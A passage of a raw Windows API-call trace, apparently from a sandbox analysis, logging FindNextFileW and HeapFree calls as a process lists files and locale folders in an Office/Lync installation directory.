	[0146.130] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0146.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0146.131] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0146.131] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0146.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.131] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0146.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0146.226] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0146.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0146.426] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0146.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.680] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0146.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.681] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0146.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.685] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0146.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.687] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0146.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.704] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0146.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.705] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0146.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.710] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0146.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.711] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0146.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.712] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0146.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.713] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0146.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.714] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0146.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.715] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0146.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.715] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0146.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.716] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0146.717] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.717] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0146.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.718] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0146.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.720] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0146.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.720] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0146.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.721] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1
	[0146.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.722] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0146.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.723] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0146.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.724] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0146.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.725] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0146.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.726] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0146.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.729] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1
	[0146.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.730] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1
	[0146.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.732] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0146.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.733] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1
	[0146.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.734] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1
	[0146.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.735] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0146.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.736] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0146.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.737] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0146.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.738] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0146.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.001] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
